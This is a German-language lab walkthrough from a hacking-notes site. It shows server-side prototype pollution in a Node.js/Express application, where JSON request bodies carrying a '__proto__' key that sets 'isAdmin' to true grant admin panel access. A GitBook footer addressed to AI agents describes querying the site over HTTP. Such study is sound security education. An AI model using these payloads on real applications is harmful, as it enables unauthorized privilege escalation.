> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md).

# Privilegieneskalation über serverseitige Prototype Pollution

### Privilegieneskalation durch serverseitige Prototype Pollution

#### Laborkontext

Die Anwendung (Node.js + Express) **Fügt ein vom Benutzer kontrolliertes JSON-Objekt zusammen** in einem serverseitigen JavaScript-Objekt, **ohne zu filtern** gefährliche Schlüssel wie `__proto__`. / Ergebnis: Wir können **verschmutzen `Object.prototype`** und Eigenschaften injizieren, die von anderen Objekten vererbt werden.

In diesem Labor ist das leicht zu erkennen, weil **die über die Prototypkette geerbten Eigenschaften in der HTTP-Antwort wieder auftauchen**.

<figure><img src="/files/f07fa05b4e26361841a53e0039b64213fedfbad3" alt=""><figcaption></figcaption></figure>

### 1) Einstiegspunkt (Quelle): JSON-Anfrage zum Aktualisieren der Adresse

**Analyse der Anfrage**

Beim Aktualisieren der Benutzeradresse sendet die Anwendung im Hintergrund die folgende JSON-Anfrage:

{% code overflow="wrap" %}

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE"
}
```

{% endcode %}

Die Serverantwort enthält Benutzerinformationen, einschließlich des sensiblen Felds:

```json
{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "isAdmin": false
}
```

**Identifizierung der Schwachstelle**

Hinzufügen eines speziellen `__proto__` Schlüssels zum JSON-Body:

```json
"__proto__":  {
"foo":"bar"}
```

Die Serverantwort spiegelt die `foo` Eigenschaft wider.

```json
"foo":"bar"
}
```

Dies bestätigt, dass:

* Der Server \*\*führt das Benutzerobjekt direkt zusammen\*\*
* **Verschmutzung des globalen Prototyps (`Object.prototype`) ist möglich**
* Die geerbten Eigenschaften sind sichtbar und werden ausgenutzt

<figure><img src="/files/afac4c937cab15c3d81cb408b8a0095271648f3b" alt=""><figcaption></figcaption></figure>

**Operation: erhöhte Rechte**

Die interessante Eigenschaft hier ist `isAdmin`, wird von der Anwendung verwendet, um Berechtigungen zu bestimmen.

Diese Eigenschaft wird dann in den globalen Prototyp injiziert:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "WTgq2JXh1WaH4oRdDbqX28gKv8stV3rE",
  "__proto__": {
    "isAdmin": "true"
  }
}
```

**Ergebnis**

* Das `isAdmin` Eigenschaft wird nun von `Object.prototype`
* Während der Autorisierungsprüfungen betrachtet die Anwendung den Benutzer als \*\*Administrator\*\*

<figure><img src="/files/39e1df9616054f3f0e9f22ae8eea3d5f5c112096" alt=""><figcaption></figcaption></figure>

* Zugriff auf `/admin` Panel

<figure><img src="/files/ab0dcae0fe7408540e4560da4410cd7d9a1f67bc" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/prototype-pollution/privilege-escalation-via-server-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
